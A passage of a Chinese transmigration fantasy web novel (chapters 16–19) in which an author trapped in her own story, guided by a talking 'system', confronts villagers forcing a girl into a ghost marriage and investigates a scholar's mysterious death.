“你一定要站在这里看着我吗?”
“嗯。”柳微晴面带微笑,不假思索点头。
岁忆谙有些无语,她接着问:“柳微晴,你为何要来…………服侍我?”
“这是他的意思。”
岁忆谙洗漱完后,坐到梳妆台前,疑惑道:“他?靳江浛?”
“是的。”
岁忆谙:“你与他有何关系?你又为何要听他的话?”
“微晴与他没有任何关系,也不听他的话,微晴只听你的话。”
岁忆谙一听,觉得头都大了,她不清楚柳微晴的来历,问话也未必能问出什么,毕竟柳微晴连自己的名字都不知晓,现在的柳微晴完全没有自己的思想,这可不行。
岁忆谙拿起木梳开始梳头发,柳微晴上前想要帮她,却被拒绝。
她让柳微晴坐下,接着问:“你既然与他没有任何关系,那你又为何要说这是他的意思?”
柳微晴的脑中一直回荡着这个问题,可她发现自己找不出答案,她垂头,面上是难得一露的局促。
16. 血衣
“微晴…………微晴不知。”
“你是你,他是他,你不必听人言语而做事,你只需要做你自己就好。”岁忆谙语重心长地说,这话渗透进柳微晴的脑中,柳微晴只觉得混沌的脑子清楚了不少。
“做我……自己?”柳微晴抬头,眼神如刚出世的小鹿般懵懂地看向岁忆谙。
“意思就是,你想做什么就做什么,当然我不介意你做些危害世间,危害他人的事情。”
岁忆谙苦口婆心地说完后,头发也梳顺了,她的手很巧,可她没有耐心为自己梳一个复杂的发鬓,以往她都是将所有头发编成一条辫子,再戴上与衣服撞色的丝带让自己看起来鲜活些,至少这个发型在这个世界里也不显得突兀。
“微晴懂了。”
柳微晴看着岁忆谙烦躁地捣鼓她的头发,便站起身。
“姑娘,让微晴帮你吧…………这是微晴想做的。”
“真的吗?”
“真的,微晴记得以前……以前好像也替人做过。”
岁忆谙放下手中的发丝,问:“你记得以前?”她还以为柳微晴没有以前。
“应该记得吧。”柳微晴不确定,她伸出修长又惨白的手,冰凉的手指十分灵活,摸着岁忆谙顺滑亮丽的黑发,心绪荡漾。
一炷香的时间都不到,柳微晴就为岁忆谙编好了干净利落的蜈蚣辫。
看着圆镜中略微模糊的自己,岁忆谙有些许恍惚,一年的时间,她的身上早已没有了刚穿书时的活力,仿佛又回到了现实世界在办公椅上单机码字,无人在意的感觉。
柳微晴见岁忆谙唇色发白,精神萎靡,潜意识关心道:“姑娘,您气色不太好,要不还是在房中歇着吧。”
岁忆谙摆摆手,说:“没事,兴许是做了噩梦的缘故。”
岁忆谙一想到那个梦,心中便惶恐不安,她心想……这梦算是对她的惩罚吗?
还是日有所思,夜有所梦?
零零零似乎是看出了岁忆谙心中所想,它开解道:【宿主,一个梦罢了,不用往心里去的。】
是啊,一个梦而已。
可昨夜她怎会中了靳江浛的惑术?岁忆谙并未问零零零,她将这个疑问埋在心底。
思索之间,柳微晴不知从哪儿拿出了一根红绸绑在岁忆谙发尾。
“好了姑娘。”
岁忆谙摸上辫子,对柳微晴笑道:“谢谢你,编得很漂亮。”
岁忆谙要换衣服了,柳微晴突然凭空拿了几套衣裙出来。
“这是靳江浛为你准备的。”
“你若是不想穿便不穿。”
柳微晴在说第一句话时,表情冷淡,说后一句话眼中才出现了一些愤愤的情绪。
岁忆谙刚想说不穿,零零零倒出声了。
【宿主大人,这衣裙上有靳江浛的血!】
血?
真的好恶心啊。
岁忆谙接过衣裙,她问:【你想让我穿上它?】
【当然想,这衣裙可是融了靳江浛好多血的………】
气氛好像有些不对,看着岁忆谙逐渐阴沉的脸,零零零怕是她多想,它又急忙改话:【宿主大人想穿就穿,不想穿就不穿。】
岁忆谙若有所思地看着衣裙,这靳江浛怎么会将血融入衣裳当中,难道他知晓自己一起杀心会遭到惩罚的事了?
这件事只有她和零零零,还有那个所谓的主系统知晓,靳江浛怎么知晓的?
忽然,岁忆谙勾唇微笑,轻声说:“我自己有衣服,他给的就先收着吧。”
那笑容落在柳微晴和零零零眼中,看似单纯无害,可一人一统只觉得毛骨悚然。
这时,岁忆谙隐约听见外面传来一阵阵的争吵声。
岁忆谙诧异:“有人吵架?”
“微晴出去看看,姑娘先把衣裙换了吧。”说罢,柳微晴离开屋子,将门关上后转身就发现靳江浛站在她身后。
靳江浛语气幽幽:“她换上了吗?”
面对靳江浛的询问,柳微晴不是很愿意开口,犹豫之间,她的双眼再次变得空洞,开口说:“没有。”
靳江浛听后,眼底满是遗憾,此刻他心情低落,本想在门口等着岁忆谙换完衣裙出来,可楼下突然传来白英空的声音。
“江浛,杵那儿干什么,还不快下来。”
靳江浛闭上眼睛,装作听不见,怎料白英空径直上楼将他拉走。
“楼下都要打起来了,你又不是岁姑娘房门口的门神,杵这儿干嘛。”
岁忆谙将靳江浛给的衣服放在布袋子里,紧接着又从里头拿了自己的一套衣裙出来。
这个布袋子的外观就是一个文玩袋的模样,上面还绣了一个八卦图,里面什么都可以放,空间比寻常的储物袋还要大。
岁忆谙换了一身藕粉衣裙后走出厢房,她站在栏杆旁向下看去,客栈堂厅里站满了人。
柳微晴:“刚刚那个村长上门要人,白英空不同意,双方各执一词,谁也不让谁。”
“那个拄着拐杖的就是安宁村村长。”
村长衣衫破旧,面容苍老,两鬓斑白。
岁忆谙能明显看出,楼下分了两拨阵营,一拨以村长为首,嚷嚷着交出阿鸢,他们围着白英空几人,另一拨以白英空为首,阿鸢则躲在几人中间,她掩面痛哭,双眼通红,黎绕月正站在一旁安慰她。
村长身边的一个看上去憨厚的壮汉,他大声质问道:“阿鸢是村长未过门的儿媳妇!你们现在把人囚着是什么意思?!”
站在一旁的华屿山摇了摇手中的折扇,缓缓开口:“他都没有儿子,哪来的儿媳妇?”
这句话可谓是杀人诛心。
华屿山认为自己没说错,村长是有儿子的,可他儿子死了,不也能说成他没有儿子吗?
“你们!你们!”
村长一听,顿时被气得说不出话来,他还从未见过白英空这般牙尖嘴利的人,村里挨家挨户都敬仰着他,现如今他被几个年轻小子气得哑口无言,这要是传出去,他的脸指定丢尽了。
“看起来衣冠楚楚,没想到嘴巴竟然这么恶毒,你怎么说话呢!”一旁的婶子道。
“村长的儿子死了,村里谁人不知,谁人不晓!”
华屿山死皮赖脸地说:“等等,等等,等等,对不住啊,我不是村里人,我不
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知道。”
那婶子气得牙痒痒,偏偏反驳不了。
村长的手伸向半空,身后的村民顿时都安静了下来,他终于开口:“我儿生前就与阿纸订下婚约,阿纸愿意与我儿同生共死,可如今她却出尔反尔,阿纸不嫁,那就她妹妹嫁!”
昨夜,村长在家里等了又等,生怕误了下葬吉时,没成想,还真是怕什么来什么。
“我听闻,阿纸在嫁于令郎之后,令郎就死了,而阿纸自愿殉葬,这怎是她不愿嫁的表现?”
对于白英空问的问题,村长眼底闪过一丝心虚,他急忙垂下眼,掩盖住眼底神色,他抓紧了手中的拐杖,并没有回答。
华屿山附和:“就是,你怎么还污蔑人家阿纸?”
白英空继续问:“阿纸不嫁,为何要她妹妹嫁?”
华屿山接着补刀:“再说了,你儿子都死了她还怎么嫁?!实在想要人嫁,你去找个愿意嫁的不就好了,不论男女。”
“村长,你是想让她与死人成婚,你这不就是杀人?”就连裴汔也帮忙说上了一句。
只有靳江浛低头沉思着,他在想,如果他死了,岁忆谙愿意为他殉葬吗?他只知道,如果岁忆谙死了,自己一定会救活她,救不活的话,那就一起死。
岁忆谙听见了几人的话,她站在原地没有动作。
这时,零零零出声说:【宿主大人,您不上去与他们理论吗?】
零零零认为,以岁忆谙这个现代人的思想肯定能把他们怼得体无完肤,什么冥婚,什么替嫁,都能有借口通通反驳掉,可岁忆谙看起来并不是很想管这件事。
岁忆谙叹气,她道:【我上去做什么?现在的剧情不是我能管的,也不是我管得了的,他们现在所做的一切都不受剧情控制,该怎么发展怎么发展吧。】
岁忆谙知道,最没资格评价他们的人就是她,她写了这个时代没必要存在的腐朽,而村民脑中产生了外人不知晓的思想,有了独属于他们自己的秘密,这都无法掌控。
楼下的争论还在继续,岁忆谙真想搬个椅子看戏。
站在几人最前头的白英空道:“好好的一个姑娘,你让她嫁给一个死人,天底下哪有这样的道理!”
一句又一句的死人传入村长的耳朵里,他心中悲痛欲绝,可也只能强忍泪水,他深呼吸,重重地叹了口气。
“我就实话实说了,你们既然护着阿鸢,便应该知晓村里怪事不断是因为阿纸消失,前些日子,更有三人溺毙在河里,为我儿算命的相师说,是阿纸抛弃我儿,我儿很是气愤,为了村里的安宁,我只能让阿鸢替嫁!”
此话一出,村长身后的村民个个都沉默了下来,他们也不忍心让阿鸢殉葬,可村里接连死人,他们不得不相信那个相师的话。
白英空瞪大了眼,在他的认知里,就算是鬼魂作祟,这群人也不能为了他人而去伤害一个无辜的姑娘。
从人群中冲出来一位上了年纪的老人,他趁众人不注意,径直冲向躲在中间的阿鸢。
“都是因为你的姐姐,是她还害死了我孙子,今日你不嫁也得嫁!”他凶狠地拽着阿鸢的胳膊,力道太大,疼得阿鸢大声尖叫。
17. 鬼魂作祟
“啊!”
阿鸢胡乱挥手想挣脱开,她大声哭喊:“我不嫁!我不嫁!”
黎绕月反应过来,一把将那老人推开,她用了巧劲,力道刚好,并不会伤到老人。
有了第一个出头,接下来就有第二个,第三个…………
还有一婶子直接冲到阿鸢面前,双膝扑通一声朝阿鸢跪下,她哭诉道:“阿鸢姑娘,婶子求你,你就嫁了吧!”
黎绕月连忙拉着阿鸢往后退。
“荀儿现在昏迷不醒,你就看在你们小时候,婶子经常照拂你们姐妹的份上,嫁了吧———”
阿鸢被吓得一直在哭,她说不出话来。
双方乱作一团,村民们开始对几人动手,扯衣服的扯衣服,扔菜的扔菜,指鼻子骂的指鼻子骂。
村民靠得太近,倘若布下屏障,村民指定会被弹出去,为了村民的安全,几人都没有还手,就连靳江浛都强忍着没有动手,他怕他一动手,面前的村民就要死一半。
华屿山却很是兴奋,他仗着自己手长,拿着那把扇子挨个敲别人脑袋,壮实点的人他就敲得用力,看起来弱不禁风的人他使的力道就轻些。
村民软硬皆施,众人吵吵闹闹,这场面跟菜市场一样。
人多,话多,声量还大。
吵得岁忆谙头疼极了,柳微晴见她捂着脑袋,便回房倒了杯水出来。
“谢谢。”
一饮而尽,岁忆谙看了眼手中的茶杯,又看了眼底下的人,底下的人依旧在大声争吵,谁也不让谁。
“砰———”
碎裂的声音如开关般将众人的争吵声暂停,争吵被人打断,众人似乎恢复了理智,他们看见了地上的茶杯碎片,便顺势往上瞧。
只见一身藕粉色衣裙的女子倚靠在栏杆旁,居高临下俯视着他们,她身姿纤柔,明眸皓齿,但面色有些憔悴,那白皙凝脂的手正搭在木杆上,很显然,这茶杯是她丢的。
岁忆谙见他们终于不吵了,莞尔一笑,装作歉意道:“抱歉,手滑了。”
对于她的举动,众人都看愣了,不太明白她要做什么。
堂厅一片杂乱,桌子椅子倒了一地,掌柜和小二拦不住,只能站在柜台后面。
而岁忆谙直接将视线转向了躲在一旁的掌柜,瞬间就起了范儿。
“掌柜的,这客栈里还有我这一位住客,你怎么让他们吵起来了?吵起来就算了,还吵到我了,你怎么做生意的?”
掌柜愣了一下,岁忆谙不是与白英空他们一道的吗?怎么不来为他们说话,不过这也不关他的事,有钱赚就行。
岁忆谙一下子就能拿出那么多钱给他,他自然不肯反驳岁忆谙,可他始终是安宁村人,客栈也在安宁村,想要开客栈做生意,还得村长同意才行,于是他打算将锅甩向村长。
掌柜慌忙走出,他卑躬屈膝道:“这位客官真是抱歉,这客栈是安宁村的客栈,楼下站的是安宁村的村长,我是安宁村的村民,小的也是无可奈何啊!”
掌柜是土生土长的安宁村人,可他身子弱,干不得农活,爹娘又相继去世,他便打算开家客栈养活自己,这客栈还是村民帮忙建的,不过生意不太好,好不容易来了生意,他怎肯放过。
村长打量着面前这姑娘,姑娘衣衫虽然普通,但气势非凡,还是不要得罪较好,他走上前,仰头道:“这位姑娘,老夫正是安宁村的村长,叨扰到姑娘休息,老夫深感抱歉,我们这就出去。”
村长开始与白英空交涉,白英空想着他也不能吵了岁忆谙休息,便想着出去谈。
在众人看不见的地方,躲在人群中的阿鸢看了眼岁忆谙,又看了挡在她面前的几人,紧接着朝村民中看去,随后若无其事地低着头。
正当双方想走时,村长身边那憨厚的壮汉又开口了。
“姑娘,您……与这几位可是一路的?”
岁忆谙瞥了他一眼,个子高大,长相是耐看的,看上去心眼子不多,怎么就能问出了这么一句?
靳江浛与黎绕月听见这话,也想看看岁忆谙是如何回答的。
一个是想听岁忆谙对其他人的看法,一个是想听岁忆谙接近他们是否有其他意图。
“是又如何,不是又如何?”
“姑娘不愿正面回答,那必定是一道的了。”
白英空听他这么说倒是不乐意了。
“怎么?她若是,那你们可是要对一个弱女子下手?她若不是,你说的这话未免也太过冒犯了。”
黎绕月见此,认为岁忆谙想与他们撇清关系,这也正常,她修为低下,没必要出来和他们站在一切解决这件事。
靳江浛倒不觉得岁忆谙想与他们撇清关系,她只是不想乖乖回话罢了。
岁忆谙才懒得理会他们心中所想,她笑了,满脸无所谓,抬脚朝楼梯口走去,边走边问:“你叫什么名字?”
“我叫李蕨。”
“李蕨,我与他们的确是一路的,所以呢?然后呢?”
“各位要打还是出去打吧,这客栈里还有其他客人要休息。”黎绕月打心底不想让岁忆谙接触这些村民,她怕大病初愈的岁忆谙会受伤。
村长默不作声,李蕨问掌柜:“这客栈内除了这两位姑娘之外,可还有其他客人?”
“并无。”掌柜摇头。
李蕨又问:“姑娘既然与这几位一同入住,想必也认为阿鸢不应替嫁的吗?”
岁忆谙蹙眉,似是在仔细思考这个问题。
“千人千面,你怎能妄下断言。”黎绕月倒是抢先出口反驳,对她来说,纵使她跟裴汔与白英空走的路是同一条,可他们的心始终不在同一个道上。
这话落在了白英空耳朵里,却有着别样的意思,黎绕月为了不让村民们将矛头转向弱势的岁忆谙,这才说出了维护她的话。
岁忆谙倒是读懂了黎绕月的言外之意,不过她并不在意。
岁忆谙与柳微晴下了楼,她来到堂厅之中,众人面前,开口说:“这与我有何干系?我既不知晓前因后果,又不知晓这背后真理,你们所说的一切我也不知是真是假。”
最后一句话直指村民,村民刚想回怼,岁忆谙就说:“现在展现在我眼前的,是你们仗着人多势众要逼死一位女子。”
她顿了顿,又道:“无辜女子,至少我现在是这样认为的。”
岁
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忆谙不知晓其中内情,也不能凭他人言语就定下结论。
而靳江浛见岁忆谙下了楼,便想朝她走去,可他们被村民包围,动弹不得。
岁忆谙气势凌人,她顶着众人的目光走到掌柜桌前,在布袋子里又掏出了一锭银子,她拍在桌上,说:“掌柜,这钱是赔那碎掉的茶杯,然后给我上碗云吞面。”
岁忆谙若无旁人地问他们:“你们想吃什么?”
白英空:“我辟谷。”
黎绕月与裴汔:“我们也是。”
岁忆谙挠了挠头:“差点忘了。”
华屿山踮着脚说:“我不辟谷,不过我早膳已经吃了三碗番薯粥和两个茶叶蛋,还有…………”
靳江浛好不容易等到了一个能跟岁忆谙说话的机会,华屿山却劈里啪啦一顿说,他等得不耐烦了,给了华屿山一个肘击。
“没必要都说出来………我也要一碗面。”前半句话是对华屿山说的,后半句话是对岁忆谙说的。
岁忆谙敷衍地点头,扭头问柳微晴:“你呢?”
柳微晴仔细想着,道:“我想吃昨天的那个辣子鸡。”
刚睡醒就吃辣的,肠胃真好,岁忆谙心想。
“两碗云吞面,再来个辣子鸡。”
掌柜拿过银两,讪讪开口:“这桌椅………”
两方争吵,还发生了肢体冲突,虽然人没受伤,但客栈内的桌椅摆件却遭了殃。
岁忆谙横了他一眼:“这又不是我砸的,谁砸的找谁去。”
掌柜尴尬地将钱收好,他才不敢找村长要钱,他进了后厨,独留小二一人在前头。
这时,刚才跪在阿鸢面前的婶子擦掉眼泪,她站起身,忍住哭意道:“各位,我见你们也是明事理的,就算我们放过了阿鸢,那谁来放过我的儿子?他现在还躺在床上昏迷不醒。”
黎绕月说:“昏迷不醒就去找郎中,找阿鸢作甚?”
“相师说了,这不是病,是徐宸的鬼魂回来了!就是因为阿纸失踪,他生气了!”说到鬼魂,婶子眼中染上了一丝恐惧。
裴汔忍不住开口:“阿纸失踪,那他为何不去找阿纸?而是去找你儿子,难道你儿子与徐宸有仇?”
婶子一听,支支吾吾地反驳,她满脸心虚,一看就有问题。
“这么心虚,那就是有仇了。”裴汔直言道。
村长侧头看向那位婶子,不怒自威道:“怎么回事?”
“村长……这………”婶子依旧说不出个所以然来,众人纷纷看向她,不过都是一些看戏的眼神。
白英空思索之后说:“不如带我去看看你的儿子吧,说不定,我有法子救他。”
婶子问:“你真的有法子吗?”
“看看再说,但是你们能不能不要先围着我们?”白英空也不敢百分百地说自己能救他。
婶子看向村长,村长摆手:“都退后吧。”
白英空谢过后,就转身朝其余几人说:“我自己一个人去就好了,你们就在客栈里等待,也可以先走。”
“我今早已经用罗盘查过了,安宁村里并没有鬼石的下落,鬼石的气息在北边,你们一路向北就好。”
18. 不喜欢吗?
黎绕月与裴汔自然不会先行一步,虽然鬼石的下落在北边,可是谁又能知晓鬼石会不会变位置?
“白道友,你一个人能行吗?”黎绕月关心问道。
白英空:“没关系,等我解决完一切,便去追你们。”
这个热闹华屿山可想凑了,他举起手,激动道:“我也去。”
白英空并未拒绝,而黎绕月想了想,说:“我和裴汔与你同去。”
“好。”
“江浛…………”白英空看向靳江浛,刚出口的话又停下。
见靳江浛的视线从岁忆谙转到自己身上时,白英空侧头,改口问:“岁姑娘,你呢?”
岁忆谙早就坐在了一张完好无损的桌前,她在等待着她的面条,被喊到后,她略显迷茫地朝白英空看去。
“我…………”
黎绕月和白英空两个主角都去,她肯定得跟着去,可岁忆谙还是犹豫了一会儿,她是先吃完再去,还是去完再吃?
最后,岁忆谙微笑道:“等我吃完就去。”
她是真饿了。
柳微晴跟着她说:“我也去。”
“好。”
白英空本没想问柳微晴的,柳微晴身份存疑,也不知她是怎么蛊惑的岁忆谙,能让岁忆谙帮她说话,但柳微晴都开口了,他也只能答应。
双方的态度都很强硬,谁都不愿各退一步,村长也不能直接硬抢,与其在这里瞎耗着,说不定看了孙荀那孩子的病症,他们就同意将阿鸢交出来了。
待人走后,岁忆谙的面终于上桌了,
靳江浛没走,他坐在岁忆谙身边。
靳江浛的眼神一直落在岁忆谙身上,他踌躇半天才开口:“不喜欢吗?”
岁忆谙疑惑地看向他。
“那身衣服。”
“还不错。”岁忆谙随口道,她一手拿着汤勺,一手拿着筷子,正想开动时,靳江浛突然握住了她的手。
“昨晚………你没事吧。”
熟悉的红光,岁忆谙愣了一瞬,她松开汤勺,反手握住靳江浛的手,对他笑得极甜:“当然没事。”
其余几人来到婶子家里,密不透风的小屋子里挤满了人,一股刺鼻的味道传来,几人纷纷捂着鼻子,床榻上的男子看上去也就二十几岁。
白英空问:“他怎么出事的?”
婶子哽咽:“这几日村里接连死人,他十分害怕,便将自己关在房里不肯出来,昨日他突然翻着眼儿,一副丢了魂的模样。”
“起初找郎中开了几副药,喝下去不见好,整个人疯疯癫癫,嘴里还嘟囔着……”婶子的话再一次停下,眼神若有似无地落在村长身上,心虚得很。
华屿山没耐心听婶子支支吾吾,他催促道:“嘟囔着什么?!说清楚!”
“也没什么………”婶子摇摇头,一副不肯说的模样。
华屿山只感到无语。
“啊!”
床榻上的孙荀突然大叫一声,随后四肢颤抖,大喊大叫:“徐宸,不是我杀得你……不是我………”
村长听后孙荀的话后脸色大变,那浑浊的双眼瞬间染上怒意,婶子连忙上前想要捂着孙荀的嘴,可太晚了。
“徐宸,你别过来………别过来!”
孙荀发着疯,在床上一直抽搐,最后他又道出了另一个人的名字。
“是王树……是王树!”话落,他双眼一闭,没了动静。
婶子用力摇晃着孙荀的身体,哀嚎着。
华屿山见人没了动静,他几个跨步上前,先是伸手探了孙荀的鼻息,又从怀里拿出帕子,放在孙荀的脖颈处,指尖抚上,灵力流进孙荀体内。
几个呼吸之后,华屿山摇摇头,说:“死了,浑身颤抖,神志不清,我没有在他的体内查到毒素,倒是有夺魂咒的印记。”
孙荀已经死了,华屿山并没有救他,顺应天命。
众人神情凝重,一些人是因为一条人命的消逝,另一些人是因为这个夺魂咒。
婶子一听,脑子嗡嗡的,她双腿一软,瘫倒在地。
“我的儿啊!”
“啊———”
她突然站起,指着阿鸢吼道:“都怪你!只要你昨晚好好跟徐宸拜完天地,我儿也不会死!”
“我要你拿命偿!”
白英空冲上去拦住,见婶子情绪激动,他默念了静心咒。
婶子只觉得剧烈跳动的心被抚平,她顿时觉得死了儿子也不是什么大事。
待到婶子平静下来后,白英空道:“婶子,你没听见他说的吗?你儿子是中了咒死的。”
“什么咒?”婶子问。
“夺魂咒,中咒者会想起一切自己做过的亏心事,会因亏心事失神失智,最后主动放弃生路,奔向死亡。”
只有魔族之人才会用夺魂咒,看来魔族或是鬼石持有者来过安宁村。
婶子怔住:“你的意思是,我儿是……自愿去死的?”
“对。”
“不可能,你在骗我,这肯定是你们编造的说辞,什么夺魂咒,什么自愿去死,统统不可能!”婶子的情绪再次失控,最后眼一闭气昏了过去。
村长让人将婶子扶下去,看着一屋子人,他叹了口气,正欲开口时,就听华屿山问:“王树是谁?”
众人纷纷看向村长。
“王树与徐宸是同窗。”村长似乎已经猜到了什么。
白英空猜测:“同窗?这孙荀也和徐宸是同窗?”
“是。”
白英空继续问道:“你们有多少书生进京赶考?”
村长:“不多,就六人。”
一想到这儿,村长就一脸失落,村里好不容易开了私塾,让他们读书,结果出了这样的事。
黎绕月突然开口:“这六人是徐宸,孙荀,王树,还有…………前些日子死了的三人,对吗?”
“你怎么知道?”
村长有些错愕,仔细一想后便走出屋子,在人群中环视了一圈,没找到自己想找的人,问:“王树呢?!”
众人本想着村长给他们一个准信,还能不能解决村里死人的事,结果只是出来找个人,还不知晓找他做什么。
人群中有人回道:“王树刚走,应该是回家了吧。”
几人来到王树家,王树他娘正在院子里晒棉被,当她得知村长是来找王树时,有些疑惑,但还是回道:“王树出门了。”
“什么时候出的门?”村长脸色紧绷。
这下王树他娘慌了,焦急道:
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“一刻钟前,我家孩子是犯什么错了吗?”
村长意味深长地说:“问了才知道。”
安宁村祠堂————
岁忆谙与靳江浛携手而来,两人牵着的手被黎绕月看在眼中,她眼底闪过一丝诧异,再看向岁忆谙略微呆呆的模样,她心中了然。
这靳江浛竟然用了法子让岁忆谙变得呆滞如此,真是可恶。
裴汔注意到了黎绕月的分神,他微微弯腰,覆到黎绕月耳边,低声问:“怎么了?”
黎绕月眼神示意他看向岁忆谙那边,裴汔看去,岁忆谙与靳江浛并肩而行,两人双手紧握,他笑道:“这两人在一起了?”
黎绕月无语地白了他一眼,她传音道:【你没看岁姑娘的样子?一看就是被靳江浛控制了。】
裴汔收起调侃的笑容,仔细端详了一眼两人,随后认真回:【岁姑娘肯定不愿与靳江浛在一起,要不然靳江浛也不会控制她,我记得控制人的术法是魔族专有的。】
【魔族…………此事之后再议。】黎绕月掐断传音。
众人聚集在堂厅之中,王树突然失踪,村长已经派人去找了,主要还是怕他出什么意外,毕竟进京赶考的六人里,只剩下他一人还没死。
岁忆谙从起床开始,脑袋就昏昏沉沉的,刚才还绕了一圈村子才找到他们所在的地方,她站在原地微眯着眼睛,脚步不稳,身子摇晃。
靳江浛让她靠着自己休息。
“找到王树了!”
这一声惊醒了岁忆谙,她混沌的双眼瞬间清明许多,她诧异地看着眼前的一幕,自己不是在客栈吃饭吗?怎么在这儿?
而靳江浛察觉到岁忆谙的异样,立刻放开了她的手,生怕她发现后把自己骂上一顿。
靳江浛的速度即使再快,岁忆谙也感受到了手掌的余温,她一下子就知晓发生了什么,但她在脑海中装傻问:【零零零,我今日头晕眼花的,还忘记了自己为何走到这里,我是不是身体出现了问题?】
【宿主大人,您的身体没有任何问题,也许是昨日主系统惩罚落下的后遗症,宿主大人要是穿上了靳江浛送的衣服说不定就好了,那衣服上的魔力可以帮您。】
【是吗?】岁忆谙问完也不等回复,她闭上眼睛,看起来是累坏了,零零零也闭了嘴。
而这边,村民们欣喜万分,只见一个文弱青年被人五花大绑着推搡进来,他赤着脚,浑身湿透,头发上以及衣服上还挂着几根水草,草尖儿上还滴着水。
李蕨回:“村长,找到他的时候,他正想划船离村,我们拦下后,就说您找他有事,没想到他听完竟然跳河了,捞上来后,死活不愿意跟我们走,我们只好将他绑起来了。”
王树低着头走进来,他一来就跪在天井中央,水顺着衣衫滴滴答答地落在地面上,很快就湿了一片,出现深色的水渍。
王树他娘见他衣衫湿透,便拿了块巾帕给他擦,边擦边问:“树啊,你怎么跳河了?”
“娘,我…………”王树看着他娘欲言又止,最后闭上了嘴。
村长阴沉着脸,见两人一副母子情深的模样,突然想到了他儿子徐宸,一想到活生生的一个人就这么死了,他撑着拐杖站起身,怒道:“说,宸儿的死是不是与你有关!”
19. 子不教父之过
王树打着颤,他浑身哆嗦,一方面是因为冷,一方面是因为被村长骂了,平日里村长待人谦和,他还从未见过村长如此暴怒,他出声反驳:“徐宸的死与我无关,我不知道!我不知道!”
村长闭上眼,平复着心中的情绪。
他隐隐猜到了事情的前因后果,但是他不想将这件事摆在明面上解决。
王树不到二十,是安宁村里最年轻的读书人,纵使王树没进京赶考,那也可以教村里的其他孩子读书。
村长要为大局着想,纵使王树他们害死了自己的儿子。
“好了,既然徐宸的死与王树没有关系,那此事就此作罢。”
阿鸢不可置信地看着村长,她没想到村长竟然…………
众人都愣住了,仅凭王树的一句话,村长就不追究了,这是为何?他们才不信这里头没鬼。
“至于阿鸢……今晚就与我儿拜堂成亲。”
白英空脾气上来了,他冲上前道:“村长,怎么这王树说什么你就信什么?亏我还以为你明事理,没想到你这么糊涂!”
华屿山也气愤不已:“都说了那个孙荀是中咒而亡,明明是有人害他,无关鬼神,你怎么还让阿鸢嫁死人?!”
村长在面对他们的质疑并没有生气,他反问:“下咒之人是谁?是人还是鬼?”
白英空道:“不是人也不是鬼,八成是魔。”
“魔?你们到底是谁?”
“我们都是修仙子弟。”
村长的年纪都八九十了,自然也听过一些修仙事迹,他沉默地拄着拐杖坐下,叹气道:“这件事与你们没有关系,你们走吧。”
白英空一身纯洁无暇的白衣,身上散发着浩然之气,他冷着一张脸,刚正道:“怎么没有关系?我等是修仙子弟,行的正是斩妖除魔之事,孙荀被人下了夺魂咒,而你要强迫阿鸢殉葬,这事我必须管!”
村长毫不退让,他拿起多年当村长的架子说:“这是我们村的事,与你们毫无关系,都说清官难断家务事,更何况你们还不是官,仗着自己会一些术法就想插手此事,管得未免也太宽了些吧。”
两人僵持不下,就在这时,裴汔开口:“村长,你依旧认为是徐宸的鬼魂在作祟吗?”
“既是鬼魂归来,倘若他还在安宁村,那我们便将他召来问问如何?”
“召鬼?!”此话一出,在场的人都震惊万分,人生来就是怕鬼的,他们脸上都是不太情愿的表情。
对于召鬼,白英空并没有想过,毕竟这世上已经很少有会召鬼的人了。
“诸位意下如何?”裴汔催促他们赶紧做下决定。
华屿山看热闹不嫌事儿大,他在谷中待久了,还从未见过如此闹腾的场景,他应声说:“当然要召,这徐宸可是村长的儿子,想来村长很想念他,让他见见也不错,在问问徐宸,他为何不去找失踪的阿纸,而是去找他的同窗。”
这话让阿鸢脸色微变,她不安地抠着手。
这一举动被黎绕月看在了眼里,她顿时觉得这一切没那么简单。
“你们随意,我这人胆小,我先回房了,那个……面做好了送我房间。”
岁忆谙听到召鬼就又醒了,她可不想见鬼,现实世界里可能没有修仙弟子,但鬼就不一定了,她找了个借口正想离开时,阿鸢突然冲出来扑到她脚边。
“姑娘,求您救我!”
阿鸢跪在地上哀嚎:“求求您了姑娘!”
阿鸢身上还穿着那件嫁衣,天色阴暗,堂厅里灰蒙蒙的,只有她那身嫁衣红得刺眼。
众人的注意力纷纷被阿鸢吸引,自然也有几道视线落在了岁忆谙身上。
岁忆谙心中有些诧异,白英空和华屿山是帮她说话说最多的,黎绕月也一直在安慰她,自己与她聊的话不超三句,怎么就求到她这儿了?
她要怎么救?救了之后又能否坦然地面对事实的真相?
“你先起来。”
岁忆谙将阿鸢扶起,她刚刚在打瞌睡,还不知晓具体发生了什么。
【零零零,刚才发什么事了?】
【刚才………………王树说人不是徐宸杀的,村长也说徐宸的死与王树无关,他还想让阿鸢替嫁,大概就这样。】
等岁忆谙听零零零说完事情的经过后,忍不住吐槽。
村长想放谁她也管不着,毕竟死的又不是她的儿子,但是他怎么还想让阿鸢嫁人?
不行,她被村长气到了,这口气必须发泄出来,先拿王树开刀。
岁忆谙看着瑟瑟发抖,还打着喷嚏的王树,便问道:“王树,你为何要乘船离村?”
王树垂着头,没回答。
“为何不说话?是做了什么见不得人的事,担心有东西来找你?”岁忆谙开始吓唬王树,她没有明确提鬼,毕竟这东西可以是万物。
这句话似乎触动到了王树,他突然抬头,用愤恨的眼神死死地盯着岁忆谙。
岁忆谙才不管王树用什么样的眼神看她,自己一个书写者不与笔下角色斤斤计较,毕竟她要开“喷”了。
岁忆谙绕着王树周围走动,步伐缓慢至极,一步一步犹如鼓点般踩在他心头,企图施加压力给他,边走边自顾自地说:“到底是做了什么事呢?”
“我再问你几个问题。”
不等王树拒绝,岁忆谙开口:“你想见到徐宸吗?”
不等王树回答,岁忆谙问道:“见到徐宸之后,你想跟他说些什么?”
“说你不是故意的?还是让他放你一马?”
徐宸肯定不是普通的失足落水,不然孙荀和王树心虚什么?
“徐宸的鬼魂出来杀人了,除去他,五个进京赶考的书生死了四个,现在就剩下你一个了,难怪你要离村,原来是怕他找上你。”
“倘若你问心无愧,又何必离村?”
岁忆谙先是假装思索,然后装作恍然大悟的模样。
“莫不是…………是你害死了徐宸。”
接连的问题让王树哑口无言,笃定的语气让王树心跳加速,他不用抬头就知晓村民们看他的眼光,探究,质疑,歧视。
“不对,死了那么多人,看来害死徐宸的不止你一个。”
王树双手握拳,双眼涨红,看得出来,他在努力压制着自己,低声说:“我是无辜的,他们也是…………”
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话音刚落,一道十分突兀的笑声从人群中传出,众人纷纷看去,只见同样一身白衣的靳江浛从中走出。
靳江浛走到岁忆谙身边,他嗤笑:“你们口口声称说是徐宸不满意阿纸失踪才出来杀人,倘若真是如此,那徐宸为何对无辜之人下手?他为何不去找阿纸?”
无辜之人四字被靳江浛说的极重。
